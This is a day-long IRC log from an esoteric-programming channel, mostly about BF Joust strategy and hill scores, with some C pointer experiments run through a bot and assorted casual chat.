03:14:45 <elliott> yes.
03:14:46 <elliott> for now.
03:14:50 <quintopia> jung gur shpx fubhyq v hfr vafgrnq?
03:15:05 <elliott> Gregor: tell him about the words that he stops
03:15:33 <quintopia> Tertbe pbhyq whfg fnl ab...
03:15:49 <Gregor> I'm just waiting for you two to stop arguing :P
03:16:00 <elliott> Gregor: i'm not the hostilearguing
03:16:03 <elliott> i'm just of the talking.
03:16:09 <elliott> people should stop talking.
03:16:13 <elliott> it's immoral
03:16:26 <quintopia> V'z qbar nethvat Tertbe! lbh pna tb nurnq naq fnl "ab" be "lrf" abj! be lbh pna whfg qb vg naq fnl "v qvq vg!"
03:20:06 <Gregor> http://pdf.buildasign.com/Proof.ashx?tcid=6F53517063557A6B4C5135386C69455679474D7874413D3D&width=700&height=450&watermark=false&r=1297568559945
03:21:27 <quintopia> what does that tcid encode?
03:23:31 <Gregor> How the hell should I know.
03:24:52 <elliott> CAUTION
03:24:57 <elliott> I AM SOMEWHAT SPARTA
03:26:01 <Sgeo> What is rushpolarity?
03:26:32 <elliott> Sgeo: One of myndzi's rushes with swapped + and - I think :P
03:26:38 <elliott> Is it still there?
03:26:49 <Sgeo> Its still fought against in breakdown
03:27:19 <elliott> *It's
03:27:21 <elliott> So yes then
03:29:37 <Sgeo> When were the polarity rules added?
03:32:50 <Sgeo> ais523_defend12.bfjoust vs quintopia_poke.bfjoust:
03:32:50 <Sgeo> <<<<<<<<<<<<>>>>>>>>> <>>>>>>>>>>>>>>>>>>>> <>>>>>>>>>>>>>>>>>>>> <<<<<<<<<<<<>>>>>>>>>
03:33:03 <Sgeo> What was your name for ++ polarity?
03:33:12 <elliott> sieve
03:33:22 <Sgeo> So it's Sieve Kettle Kettle Sieve
03:33:27 <elliott> polarity was added ages ago
03:33:49 <Sgeo> I'm going to guess internally ++ +- -+ --
03:34:04 <Sgeo> Source Antisource is easier to remember, realy
03:34:05 <Sgeo> really
03:34:09 <quintopia> no
03:34:15 <quintopia> sieve and kettle
03:34:16 <quintopia> ftw
03:34:32 -!- poiuy_qwert has joined.
03:36:24 <Sgeo> Iea: BF Joust program that knows one particular opponent, and against that opponent, can determine whether it's Sieve or Kettle polarity
03:42:08 <quintopia> sounds REALLY EASY
03:42:52 <quintopia> defend12 can actually determine the polarity of several different opponents
03:43:16 <quintopia> pretty much any rusher that uses offset clears
03:46:26 <elliott> yeah, sieve and kettle
03:46:31 <elliott> they've always been called that
03:47:07 <quintopia> Sgeo: ALWAYS
03:50:02 <copumpkin> pikhq: http://www.9to5mac.com/51776/geohot-raps-a-message-to-sony?utm_source=feedburner&utm_medium=twitter&utm_campaign=Feed:+9To5Mac-MacAllDay+(9+to+5+Mac+-+Apple+Intelligence)
03:52:09 <elliott> copumpkin: lolwat
03:52:42 <elliott> copumpkin: i have two simultaneous thoughts
03:52:50 <elliott> copumpkin: (1) oh my god he is an obnoxious douchebag (2) I LOVE HIM
03:54:06 <Sgeo> offset clears?
03:56:09 <elliott> Sgeo: the mostest important strategem in all capert
04:00:11 <quintopia> that is awesome
04:00:13 <quintopia> also
04:00:22 <quintopia> his room is way to clean to be a hacker's room
04:00:26 <quintopia> *too
04:05:22 <pikhq> copumpkin: ... Wow.
04:05:51 <copumpkin> I thought you might like it
04:12:08 <Sgeo> When do the MPEG-LA patents expire?
04:22:13 <pikhq> Sgeo: Anywhere from next year to 20 years from now, depending.
04:22:38 <Sgeo> pikhq, as in, you don't know, or the world doesn't know?
04:23:11 <pikhq> Sgeo: As in "Seriously, that's the full range for patents in MPEG-LA's current patent pools. There's hundreds of the suckers."
04:23:21 <Sgeo> Ah
04:29:04 -!- elliott has quit (Quit: Leaving).
05:04:17 -!- zzo38 has quit (Remote host closed the connection).
05:50:48 <Sgeo> *sigh*
05:51:02 <Sgeo> I am not an iOS Developer, http://twitter.com/#!/GplSource_/ios-developers to the contrary
06:02:02 <Gregor> !bfjoust saccharin_philip http://sprunge.us/UfDT
06:03:35 <Gregor> wtf, the system's responsive, but EgoBot isn't ...
06:04:49 <Gregor> saccharin_philip: Blatantly ripping off quintopia's brilliant poke concept for fun and profit.
06:05:16 <EgoBot> Score for Gregor_saccharin_philip: 47.7
06:05:33 <Gregor> D'aww :(
06:05:37 <quintopia> Gregor: no worries mate. i'm working on something that will take me forever, but will be fucking brilliant if it works
06:05:47 <Gregor> I beat almost everyone, but not by a wide enough margin.
06:06:40 <quintopia> you also failed to beat most of the defends
06:06:50 <Gregor> Ohyeah, that's true.
06:07:15 <Gregor> Only 13 and 14 are worth beating.
06:07:20 <quintopia> actually
06:07:25 <quintopia> i may be misreading the chart
06:07:54 <quintopia> nope
06:07:56 <quintopia> they all beat you :P
06:08:04 <Gregor> I beat defend9
06:08:18 <quintopia> i'd recommend beating more of them
06:08:45 <Gregor> I still can't do shit against shudderers >_>
06:09:03 <quintopia> also, i don't see how you beat poke, but not maglev
06:09:19 <Gregor> Uh, I did beat maglev
06:09:27 <quintopia> oh
06:09:28 <Sgeo> I don't know any of this terminology
06:09:29 <quintopia> damn chart
06:09:47 <Gregor> Sgeo: I started a BF Joust strategies page to detail them, but nobody's taken up filling in any of their favorites :P
06:10:07 <Sgeo> Aww
06:10:10 <quintopia> gregor: how hard would it be to put the numbers on the right side in the table? is it something you can do in a second? because it would be SO MUCH EASIER TO READ
06:10:13 <Gregor> quintopia: So what anti-shudderer algorithms do people use?
06:10:22 <Gregor> quintopia: It's something I can do in a second :P
06:10:30 <Gregor> quintopia: Can't you ... select lines in your web browser?
06:10:32 <Sgeo> What's a shudderer?
06:10:37 <Sgeo> (+-)*-1?
06:10:44 <quintopia> yes Sgeo
06:10:47 <Gregor> Sgeo: More or less, but usually by slightly more random intervals.
06:10:48 <quintopia> except
06:10:57 <quintopia> (++-) sort of usually
06:11:03 <quintopia> so that it hits zero at some point
06:11:14 <Sgeo> Why is hitting zero good?
06:11:36 <Gregor> Sgeo: Cause opponents ]'s to detect that and wander off the tape.
06:11:43 <quintopia> gregor: to beat shudder, put .[.++-------] after your main [-] loop. or if you use [+] change the polarities
06:11:57 <Gregor> quintopia: I use a careless turtle approach >_>
06:12:30 <quintopia> then your best bet is to only try to beat it on the longest tape length
06:12:57 <quintopia> just sit there and do (.+)*-1
06:13:05 <quintopia> eventually you'll get it
06:14:23 <Gregor> I can't "sit there" with the careless turtle approach, the whole idea is I just try a range of values, and if they don't work, I move on.
06:14:36 <Gregor> That's why it beats decoys so well.
06:14:56 <Gregor> But shudderers make it just jump ship.
06:15:16 <quintopia> uh yeah
06:15:27 <quintopia> except on the longest tape length
06:15:37 <quintopia> where you know in advance moving on is suicide
06:15:46 <quintopia> so after you finish doing your careless turtle thing
06:15:55 <quintopia> do that thing
06:16:05 <Gregor> Because of how philip works, I don't really know where I am in the tape, it'd be super difficult to keep track and involve expanding it enormously :P
06:16:17 <quintopia> meh let me look at it
06:16:26 <Gregor> Then lemme paste it unexpanded.
06:17:06 <Gregor> quintopia: http://sprunge.us/DVcD
06:19:04 <Gregor> !bfjoust new_report <
06:19:07 <EgoBot> Score for Gregor_new_report: 0.0
06:19:27 <quintopia> gah
06:19:39 <quintopia> the unexpanded stuff is so hard to read :/
06:20:14 <quintopia> by which i mean
06:20:25 <quintopia> anything using ({})% is hard to read
06:20:32 <Gregor> :P
06:21:00 <quintopia> so first you do a binary search to kill small decoys
06:21:49 <Gregor> If that doesn't work, I carelessly (-)*100(-.)*32
06:21:57 <Gregor> If the program's not over by then, I just keep going.
06:22:02 <Gregor> Actually looping would be too expensive.
06:22:15 <quintopia> yeah
06:22:18 <Gregor> However, that means I can keep going either deep within the loop (in which case I'm pure turtle) or outside the loop.
06:22:48 -!- asiekierka has joined.
06:22:52 <Sgeo> Gregor, but that's only occasionally
06:22:54 <quintopia> so what happens if you hit shudder? does it print steamroller?
06:23:06 <Gregor> No, it's usually only in the turtle phase at that point.
06:23:18 <Gregor> Sgeo: No, it's extremely common.
06:23:28 <Sgeo> Huh?
06:23:35 <Sgeo> How, most of the time it wont be 0
06:24:02 <quintopia> Gregor: the way you structured your program sucks. rewrite it so you can tell where on the tape you are and then you can beat shudder. otherwise, you're SOL
06:24:48 <Gregor> If I can tell where on the tape I am, my whole strategy doesn't work. No amount of restructuring will magically make the strategy be compatible with knowing where I am. Also, knowing where you are on the tape seems like a fundamentally broken strategy to me, it'll only gain me one win when I lose in every length.
06:24:49 <quintopia> it'll be big and ugly, but once you do it, you can reap a ton of benefits
06:25:19 <quintopia> well, you're right i think
06:25:39 <quintopia> without checking and making sure the cell you're on is CLEARED, you can never beat shudder
06:25:42 <quintopia> sorry
06:25:48 <Gregor> Yes, I know and acknowledge that :P
06:26:43 <quintopia> (at least not without making it lose to everything else :P)
06:27:03 <Gregor> Yeah, I've futzed with it enough to make it win to the defends, and then it failed horribly elsewhere :P
06:29:23 <quintopia> it's a neat idea, but very limited
06:29:33 <quintopia> however
06:30:41 <Gregor> It did quite well for me 'til you adjusted all your programs :P
06:30:55 <quintopia> you CAN rewrite it so that you can tell when you've cleared a cell. basically, instead of doing (+.)*32, you'd do (+[)*32, but keep going with your strategy INSIDE the loop, and stick all the ] at the end
06:31:35 <quintopia> you'd end up having A BAJILLION nested parens and TWENTY SEVEN BAJILLION repeats of the same code
06:31:41 <Gregor> I was just thinking about that.
06:31:42 <quintopia> but it could be done
06:33:07 <Sgeo> How difficult could it be for me to evolve a neural net?
06:33:52 <quintopia> lul
06:33:54 * Sgeo likes this idea a lot
06:33:56 <quintopia> it's not evolution
06:34:02 <quintopia> it's backpropagation
06:34:09 <quintopia> and it's really easy for small nets
06:34:55 <Sgeo> I don't know how large a net would be needed to take a BFJoust hill and make a program victorious against most of the programs on it
06:35:21 <Gregor> quintopia: All the ]]]]]]'s would probably be expensive.
06:35:40 <quintopia> just make sure you never have to execute them
06:35:47 <pikhq> *pffft*
06:35:48 <quintopia> but copying code before them
06:35:58 <pikhq> Microsoft is disabling Autorun.
06:36:05 <pikhq> In Windows XP and up.
06:36:10 <Sgeo> pikhq, took long enough
06:36:11 <quintopia> did i not say TWENTY SEVEN BAJILLION REPEATS?
06:36:25 <Sgeo> But then people will complain about stuff not working
06:37:14 <pikhq> ... Aaaaw.
06:37:26 <pikhq> They're disabling it for *most* media.
06:37:37 <pikhq> Still enabled on 12cm discs.
06:49:35 <Gregor> Damn it, I don't want to be a person who writes BFJ programs as long as defend13 X-P
06:57:42 <Gregor> !bfjoust saccharin_philip http://sprunge.us/iQEi
06:57:52 <EgoBot> Score for Gregor_saccharin_philip: 47.1
06:58:06 <Gregor> lawl, that change was even more minor than I thought :P
07:06:29 <quintopia> Gregor: the one i'm working on is longer than defend13 by a mile
07:06:50 <Gregor> quintopia: I didn't say I don't want anybody else to be one of those people :P
07:06:54 <Gregor> I just don't want to be one.
07:06:56 <quintopia> i'm about to write a program to help me write it because damn is this a lot of easy arithmetic i have to do to do it
07:08:23 <Gregor> Feel free to publish said program to help others :P
07:18:38 -!- Mathnerd314 has quit (Ping timeout: 240 seconds).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:00:37 -!- kwertii has quit (Quit: bye).
08:05:03 <quintopia> Gregor: sure. you have matlab, right?
08:05:56 <quintopia> Gregor: it doesn't really matter. the program won't be necessary any more once superpoke is complete. it will contain every useful output the program can generate.
08:17:22 -!- FireFly has joined.
08:22:39 -!- Sgeo has quit (Read error: Connection reset by peer).
08:23:07 -!- Sgeo has joined.
08:28:18 -!- Zuu has quit (Ping timeout: 260 seconds).
08:34:39 -!- Zuu has joined.
08:58:17 <quintopia> woo! half done with superpoke!
09:07:02 -!- amca has joined.
09:10:27 -!- amca has quit (Quit: Farewell).
09:27:10 <quintopia> annnnnd...i made a mistake. time to rewrite the whole thing :/
10:25:57 -!- yorick has joined.
10:49:52 -!- BeholdMyGlory has joined.
10:51:58 -!- Sgeo has quit (Read error: Connection reset by peer).
10:52:28 -!- Sgeo has joined.
11:48:54 <quintopia> too bad no one is around to witness the awesomeness that i am about to bestow on this channel >_>
11:49:07 <quintopia> !bfjoust space_elevator http://sprunge.us/dZZK
11:50:57 <EgoBot> Score for quintopia_space_elevator: 0.6
11:51:19 <quintopia> bah
11:51:30 <quintopia> must have gotten a typo in there somewhere
11:53:03 -!- sebbu2 has joined.
11:57:25 -!- sebbu has quit (Ping timeout: 276 seconds).
12:00:03 <quintopia> !bfjoust space_elevator http://sprunge.us/CYBV
12:00:26 <quintopia> if it doesn't work this time, i'll have to wait til lance to try it out, because it means egojoust is severely broken
12:00:30 <EgoBot> Score for quintopia_space_elevator: 55.1
12:00:39 <quintopia> better
12:03:26 <quintopia> loses to saccharin_philip, speedy2, 3pass, careful, and careless. it will never beat speedy2, but i'll have to ponder the beating of careless type programs
12:21:52 -!- augur has quit (Remote host closed the connection).
12:40:02 -!- augur has joined.
12:48:33 <Deewiant> !bfjoust maglev -(>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*42(>)*7(>[(+)*9[-]])*10(>[(-)*9[+]])*10>(.-)*10000
12:48:55 <EgoBot> Score for Deewiant_maglev: 38.7
12:50:21 <Deewiant> !bfjoust maglev -(>)*8<+<-<(+)*10<(-)*10<(-)*20<<(+)*42(>)*7(>[(+)*9[-]])*20>(.-)*10000
12:50:31 <EgoBot> Score for Deewiant_maglev: 37.1
12:51:16 <Deewiant> !bfjoust maglev -(>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*30(>)*7(>[(+)*9[-]])*20>(.-)*10000
12:51:22 <EgoBot> Score for Deewiant_maglev: 40.1
13:07:52 -!- pikhq_ has joined.
13:08:21 -!- pikhq has quit (Ping timeout: 276 seconds).
13:57:08 -!- MigoMipo has joined.
14:12:16 -!- Tritonio has joined.
14:33:53 <augur> anyone know if there are techniques for finding minimal turing machines?
14:37:12 <Slereah> Brute force?
14:37:39 <Slereah> Also, what do you mean by minimal?
14:39:18 <Deewiant> I'm pretty sure it's impossible to minimize Turing machines, but I can't remember how to demonstrate it
14:39:39 <Slereah> Well
14:39:45 <Slereah> Imagine for instance a decision problem
14:40:01 <Slereah> Minimizing it would just be one step saying yes or no?
14:40:28 <Deewiant> Right.
14:40:44 -!- Wamanuz has quit (Remote host closed the connection).
14:41:00 <Slereah> Hence not too goo
14:41:01 <Slereah> d
14:41:06 -!- Wamanuz has joined.
14:42:32 -!- Wamanuz has quit (Remote host closed the connection).
14:44:59 -!- Wamanuz has joined.
14:46:22 <Slereah> Although there's quite a few programs that you could minimize by brute force
14:46:37 <Slereah> I made one like that for Lazy Bird once
14:46:40 <Slereah> Called it
14:46:43 <Slereah> THE JUGGERNAUT
14:47:43 -!- p_q has joined.
14:48:01 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
14:51:23 <augur> Slereah: like, suppose you have a TM for a language (say its just a*). is there a way of making the TM as simple as possible?
14:51:32 <augur> eliminating redundant states, redundant transitions, or whatever?
14:52:11 <Slereah> Well, if it's just to eliminate a few loops, you can probably do it by brute force
14:52:28 <augur> sure, but in general, are there any such algorithms?
14:54:10 <Slereah> Can't think of any
14:57:24 -!- hiato has joined.
15:04:36 -!- iconmaster has joined.
15:07:17 -!- ais523_ has joined.
15:07:48 <ais523_> !c printf("%d", atoi(NULL));
15:09:41 <ais523_> !c printf("%s", "Hello, world!");
15:09:43 <EgoBot> Hello, world!
15:10:32 <iconmaster> !c printf("%s","Hi, I'm back.");
15:10:34 <EgoBot> Hi, I'm back.
15:10:51 <ais523_> so why no output for my first line?
15:10:55 <Slereah> !c printf("%s","SO RED");
15:10:57 <EgoBot> SO RED
15:11:02 <ais523_> I'm on a Windows computer atm, and wanted to know if it returned 0 or segfaulted
15:11:06 <Slereah> Awww
15:11:13 <iconmaster> you pined ""? idk, does EgoBot check for ""?
15:11:28 <ais523_> !c if(atoi(NULL)) printf("nonzero"); else printf("zero");
15:11:29 <iconmaster> *printed
15:11:32 <EgoBot> ./interps/gcccomp/gcccomp: line 52: 31448 Segmentation fault /tmp/compiled.$$
15:11:42 <ais523_> ah, that's better
15:12:17 <iconmaster> Funny, it doesnt segfault if printf?
15:12:26 <ais523_> who knows?
15:12:37 <ais523_> it could be that the call to atoi was optimised out, or something like that
15:12:41 <ais523_> as it's probably undefined behaviour
15:13:15 <iconmaster> !c printf("%d",NULL);
15:13:17 <EgoBot> 0
15:13:38 <iconmaster> Huh.
15:14:02 <ais523_> that makes sense
15:14:10 <ais523_> (int)NULL doesn't have to be 0, but it generally is in practice
15:14:26 <iconmaster> Oh! so NULL is an int? I gots it.
15:14:34 <ais523_> no, NULL isn't an int, it's a pointer
15:14:37 <iconmaster> I only know a LITTLE C
15:14:38 <ais523_> but pointers can be interpreted as integers
15:14:47 <iconmaster> oh i knew that
15:14:57 <ais523_> thus, NULL isn't 0 at all, but (int)NULL often can be
15:15:23 <ais523_> (to add to the confusion, the value of NULL, as a pointer, is /written/ 0, although it doesn't refer to the integer 0 in that context)
15:15:44 <iconmaster> would '!c printf("%d",a=malloc(5));free(a)' glitch
15:15:58 <ais523_> you haven't declared a
15:16:02 <ais523_> but it should work otherwise
15:16:08 <iconmaster> int a;printf("%d",a=malloc(5));free(a)
15:16:17 <iconmaster> !c int a;printf("%d",a=malloc(5));free(a)
15:16:18 <EgoBot> ./interps/gcccomp/gcccomp: line 52: 31631 Segmentation fault /tmp/compiled.$$
15:16:26 <ais523_> hmm, I wonder why that failed?
15:16:37 <iconmaster> idk
15:16:54 <ais523_> !c void* a; a=malloc(5); printf("%d",(int)a); free(a);
15:16:56 <EgoBot> 1302282256
15:17:01 -!- sebbu2 has quit (Ping timeout: 250 seconds).
15:17:03 <ais523_> !c void* a; a=malloc(5); printf("%d",a); free(a);
15:17:04 <EgoBot> 1967124496
15:17:08 <iconmaster> oops needed to be a void
15:17:14 <ais523_> !c void* a; printf("%d",a=malloc(5)); free(a);
15:17:16 <EgoBot> 1269907472
15:17:22 <ais523_> !c int a; printf("%d",a=malloc(5)); free(a);
15:17:24 <EgoBot> ./interps/gcccomp/gcccomp: line 52: 31809 Segmentation fault /tmp/compiled.$$
15:17:41 <iconmaster> But a poined IS an int!
15:17:42 <ais523_> how strange, those pointer values fit into 32-bit int range
15:17:45 <iconmaster> *pointer
15:17:48 <ais523_> and not on a 64-bit system it isn't
15:17:52 <iconmaster> ooooooh.
15:18:01 <ais523_> 64-bit pointers, generally 32-bit ints
15:18:12 <iconmaster> would long int do it?
15:18:15 <ais523_> in fact, there technically doesn't need to be any connection at all
15:18:26 <ais523_> !c long a; printf("%d",a=malloc(5)); free(a);
15:18:28 <EgoBot> 1210388496
15:18:37 <iconmaster> aha! i knew it!
15:18:42 <ais523_> well, either EgoBot's on a 16-bit system, or something crazy's going on
15:19:05 <ais523_> !c printf("%zu %zu %zu",sizeof(void*),sizeof(int),sizeof(long));
15:19:06 <iconmaster> !c long a; printf("%d - %s",a=malloc(5),"A random number, lol."); free(a);
15:19:08 <EgoBot> 8 4 8
15:19:16 <ais523_> ah, it is on a 64-bit system
15:19:57 <iconmaster> !c long a; printf("%d - %s",a=malloc(5),"A random number, lol."); free(a);
15:20:02 <EgoBot> 1732182032 - A random number, lol.
15:20:59 <ais523_> !c printf("%p",malloc(5));
15:21:00 <EgoBot> 0x7f598479d010
15:21:20 <ais523_> oh, I see; %d prints out only the bottom 32 bits of the pointer
15:21:26 <ais523_> !c printf("%p",malloc(5));
15:21:28 <EgoBot> 0x7f2a1883d010
15:21:30 <ais523_> !c printf("%p",malloc(5));
15:21:31 <EgoBot> 0x7feb43f66010
15:21:50 <ais523_> (this isn't a memory leak because EgoBot cleans up mallocs between lines; it could be in other C-based systems)
15:22:26 <ais523_> !c printf("%p %p %p %p %p %p",malloc(5),malloc(5),malloc(5),malloc(5),malloc(5),malloc(5));
15:22:28 <EgoBot> 0x7fa048e1d0b0 0x7fa048e1d090 0x7fa048e1d070 0x7fa048e1d050 0x7fa048e1d030 0x7fa048e1d010
15:23:36 -!- ais523_ has quit (Quit: Page closed).
15:27:24 <hiato> where oh where did cpressey go? oh where oh where can he be?
15:55:14 -!- Slereah has quit (Ping timeout: 240 seconds).
15:59:45 -!- sftp has quit (Read error: Connection reset by peer).
16:01:21 -!- Slereah has joined.
16:14:55 -!- elliott has joined.
16:15:52 <elliott> 06:14:01 <Sgeo> I am not an iOS Developer, http://twitter.com/#!/GplSource_/ios-developers to the contrary
16:15:59 <elliott> oh god sgeo uses twitter
16:21:18 -!- sftp has joined.
16:25:49 -!- sftp has quit (Remote host closed the connection).
16:33:35 -!- sftp has joined.
16:36:47 -!- sftp has quit (Remote host closed the connection).
16:41:04 -!- sftp has joined.
16:54:45 -!- cheater- has quit (Ping timeout: 240 seconds).
16:55:51 -!- cheater- has joined.
16:57:14 -!- zeotrope has joined.
17:01:11 -!- asiekierka has quit (Ping timeout: 272 seconds).
17:03:17 -!- Leonidas_ has joined.
17:03:31 -!- Leonidas_ has changed nick to Leonidas.
17:12:20 -!- cheater- has quit (Ping timeout: 240 seconds).
17:14:28 -!- cheater- has joined.
17:17:45 -!- asiekierka has joined.
17:23:05 <elliott> 15:50:42 <hiato> where oh where did cpressey go? oh where oh where can he be?
17:23:06 <elliott> hiato: he left
17:25:31 <elliott> 06:53:57 <quintopia> you CAN rewrite it so that you can tell when you've cleared a cell. basically, instead of doing (+.)*32, you'd do (+[)*32, but keep going with your strategy INSIDE the loop, and stick all the ] at the end
17:25:34 <elliott> quintopia: INVALID CODE.
17:25:37 <elliott> quintopia: *BEEP.*
17:26:14 <Gregor> elliott: WHERE'S YUR GAL-BLUM DURPALANCE
17:26:37 <elliott> Gregor: Dude, I keep staring at the code, and I have absolutely no idea why it isn't working.
17:26:48 <elliott> Gregor: It seemed like repeats were off-by-oned. But they're not.
17:26:55 <elliott> Then it seemed like loop cycle timing was broken.
17:26:56 <elliott> It's not.
17:27:02 -!- ais523_ has joined.
17:27:04 -!- ais523_ has quit (Changing host).
17:27:05 -!- ais523_ has joined.
17:27:05 -!- ais523_ has quit (Changing host).
17:27:05 -!- ais523_ has joined.
17:27:08 <elliott> Hi ais523_.
17:27:13 <ais523_> hi
17:27:16 <Gregor> lawlwtf was that twice-changed-host.
17:27:21 <elliott> Yeah :-P
17:27:25 <elliott> * ais523_ (93bcc029@gateway/web/freenode/ip.147.188.192.41) has joined #esoteric
17:27:26 <elliott> * ais523_ has quit (Changing host)
17:27:26 <elliott> * ais523_ (93bcc029@unaffiliated/ais523) has joined #esoteric
17:27:26 <elliott> * ais523_ has quit (Changing host)
17:27:26 <elliott> * ais523_ (93bcc029@gateway/web/freenode/ip.147.188.192.41) has joined #esoteric
17:27:30 <elliott> I think web users are forced to show their host.
17:27:33 <elliott> So it got switched back.
17:28:03 <Gregor> ais523_: elliott is describing how he fails at writing BF Joust implementations.
17:28:11 <ais523_> I've been here all day, but needed to get some really boring marking done
17:28:20 <ais523_> and the only way to manage that is to not talk to friends who are a lot more interesting
17:28:28 <ais523_> (it was the kernel keylogger thing I was talking about earlier)
17:28:42 <ais523_> making it worse, I had to do it on Windows because that's where VirtualBox was installed
17:28:56 <elliott> How many of them actually logged keys?
17:28:58 <ais523_> (and you don't run likely-buggy and known-malicious kernel modules /outside/ a VM...)
17:29:10 <ais523_> well, they were just meant to log the timings
17:29:23 <ais523_> *procfile
17:29:25 <elliott> I dunno, I would run them outside of a VM... I already know exactly how they're malicious :P
17:29:25 <ais523_> but some logged keys as well, and made them available via a procifle
17:29:29 <elliott> The buggy thing, granted.
17:29:40 <ais523_> also, they all clashed with each other, obviously
17:29:47 <ais523_> and loading a snapshot was faster than repeatedly rebooting
17:29:48 -!- asiekierka has quit (Ping timeout: 240 seconds).
17:30:11 <ais523_> the one I'm most impressed with did a radix sort on the timings as soon as they were collected, to avoid having to store them anywhere
17:30:12 <Gregor> elliott: So, shall I write egojoust 2 >: )
17:30:15 <ais523_> it wouldn't have run out of memory for ages
17:30:30 <elliott> Gregor: no :(
17:30:39 <elliott> lance is good, i just have some stupid bu
17:30:39 <elliott> g
17:30:40 <Gregor> elliott: Well then why don't you SHOW SOME MOFO CODE
17:30:40 <ais523_> btw, I have a really good defence program that I wrote last night, but it isn't on this computer
17:30:51 <ais523_> I'll put it on the hill later
17:30:53 <elliott> Gregor: Is that you offering to do free work? :P
17:30:59 <elliott> ais523_: let me guess its name
17:31:01 <elliott> defend15?!?!!
17:31:05 <Gregor> elliott: Only if it results in me making fun of you for your stupidity 8-D
17:31:15 <ais523_> heh, it's actually definder/definder2
17:31:22 <ais523_> because "definder.pl" was the name of the program that generated most of it
17:31:31 <ais523_> I wrote a program to computer-search for good defence loops
17:31:31 <Gregor> FFFFFFFFFFFFFFFFUUUUUUUU
17:31:33 <elliott> ais523_: I don't know who you are any more
17:31:58 <ais523_> definder can deal with both two-cycle and three-cycle clears
17:32:24 <ais523_> definder2 also deals with 128-detectors, defence programs, and (unreliably, but generally well enough to beat 50%) shudderers
17:32:38 <ais523_> it's fun to see a defence program beat wiggle2/3 (although not on every tape length and polarity)
17:32:57 <ais523_> they do have a few losses, but it's mostly against bad programs that do weird things
17:33:06 <Deewiant> How does it do against space_elevator
17:33:26 <ais523_> I don't know, I didn't have a local copy of space_elevator when I wrote it
17:33:32 <ais523_> and I don't have a copy of definder2 on this computer
17:33:50 <Gregor> 2 45 52.08 20.43 quintopia_wireless.bfjoust
17:33:50 <Gregor> 3 11 47.41 3.24 ais523__double_tripwire_avoider.bfjoust
17:33:50 <Gregor> 4 39 47.32 15.86 quintopia_poke.bfjoust
17:33:51 <Gregor> lawl @ points
17:34:14 <Gregor> I love how double_tripwire_avoider solves only ONE problem, and yet is #3, with 3.24 points X-D
17:34:32 <elliott> ais523_: btw, quintopia realised that a hybrid program like i mentioned is actually probably possible
17:34:34 <elliott> and is working on one now
17:34:50 <elliott> lesson: everyone stop saying things are impossible!
17:35:21 <ais523_> Gregor: it actually solves multiple problems, although I admit that beating reverse decoy setups is its main purpose
17:35:40 <elliott> ais523_: 07:12:37 <Gregor> Damn it, I don't want to be a person who writes BFJ programs as long as defend13 X-P
17:35:51 <ais523_> definder2 is longer
17:36:06 <elliott> 07:20:44 <Gregor> !bfjoust saccharin_philip http://sprunge.us/iQEi
17:36:06 <elliott> 07:20:54 <EgoBot> Score for Gregor_saccharin_philip: 47.1
17:36:06 <elliott> 07:21:08 <Gregor> lawl, that change was even more minor than I thought :P
17:36:12 <elliott> Gregor: er does egojoust support that % nesting?
17:36:13 <ais523_> mostly because I had to write its defence loop three times, and its defence loop doesn't follow any pattern at all
17:36:16 <elliott> 07:29:32 <quintopia> Gregor: the one i'm working on is longer than defend13 by a mile
17:36:17 <elliott> :D
17:36:20 <Deewiant> defend13 is only 8.5K, space_elevator is 38K
17:36:28 <ais523_> in fact, it's completely bizarre
17:36:29 <elliott> 07:29:58 <quintopia> i'm about to write a program to help me write it because damn is this a lot of easy arithmetic i have to do to do it
17:36:30 <Gregor> elliott: egojoust only fails with {{}} nesting
17:36:33 <elliott> Deewiant: wtf is space_elevator
17:36:34 <elliott> !bfjoust
17:36:38 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
17:36:39 <ais523_> I think definder2 is somewhere in between
17:36:43 <Deewiant> elliott: Possibly the program of which you speak.
17:36:53 <elliott> ah, yes
17:37:02 <elliott> and it's at the top
17:37:04 <elliott> I'm not surprised
17:37:11 <elliott> ais523_: have you seen it?
17:37:14 <elliott> ais523_: http://codu.org/eso/bfjoust/in_egobot/quintopia_space_elevator.bfjoust
17:37:45 <elliott> welp, definitely looks like the age of huge strategic bf joust programs has begun
17:37:48 -!- ais523__ has joined.
17:37:55 <ais523__> that was weird
17:37:58 -!- ais523_ has quit (Disconnected by services).
17:38:02 -!- ais523__ has changed nick to ais523_.
17:38:19 <elliott> ais523_: erm, what was the last you saw
17:38:25 <ais523_> I don't know
17:38:38 <ais523_> Freenode webchat decided it had disconnected for no good reason
17:38:40 <elliott> ais523_: about quintopia's hybrid program:
17:38:41 <elliott> <elliott> ah, yes
17:38:41 <elliott> <elliott> and it's at the top
17:38:42 <elliott> <elliott> I'm not surprised
17:38:42 <elliott> <elliott> ais523_: have you seen it?
17:38:42 <elliott> <elliott> ais523_: http://codu.org/eso/bfjoust/in_egobot/quintopia_space_elevator.bfjoust
17:38:43 <elliott> <elliott> welp, definitely looks like the age of huge strategic bf joust programs has begun
17:38:44 <ais523_> and unlike Konversation, doesn't keep a log of the last it saw
17:38:51 * elliott is very impressed
17:39:39 <elliott> 09:21:23 <quintopia> woo! half done with superpoke!
17:39:39 <elliott> 09:50:16 <quintopia> annnnnd...i made a mistake. time to rewrite the whole thing :/
17:39:39 <elliott> :D
17:39:45 <elliott> 12:12:05 <quintopia> too bad no one is around to witness the awesomeness that i am about to bestow on this channel >_>
17:39:45 <elliott> 12:12:18 <quintopia> !bfjoust space_elevator http://sprunge.us/dZZK
17:39:46 <elliott> 12:14:08 <EgoBot> Score for quintopia_space_elevator: 0.6
17:39:46 <elliott> LOL
17:40:10 <olsner> is that a good or a bad score?
17:40:13 <ais523_> I've just been looking at space_elevator in egojsout
17:40:14 <ais523_> the source, that is
17:40:18 <ais523_> it's the sort of thing I would come up with
17:41:18 <elliott> olsner: terrible
17:41:23 <elliott> olsner: but it was due to a generator bug
17:41:29 <elliott> and once fixed, it went straight to the top of the hill
17:41:32 <elliott> beating almost every program
17:41:50 <ais523_> it loses quite dramatically to speedy2, anyway
17:41:50 <elliott> the only ones it doesn't beat are careless-style programs which quintopia says he's looking into, and speedy2 which it will apparently never beat
17:42:20 <Gregor> elliott: I STILL SEE NO CODE
17:42:24 <ais523_> I should check definder vs. speedy2 sometime
17:42:24 <Gregor> elliott: TIME TO WRITE EGOJOUST2 I SEE
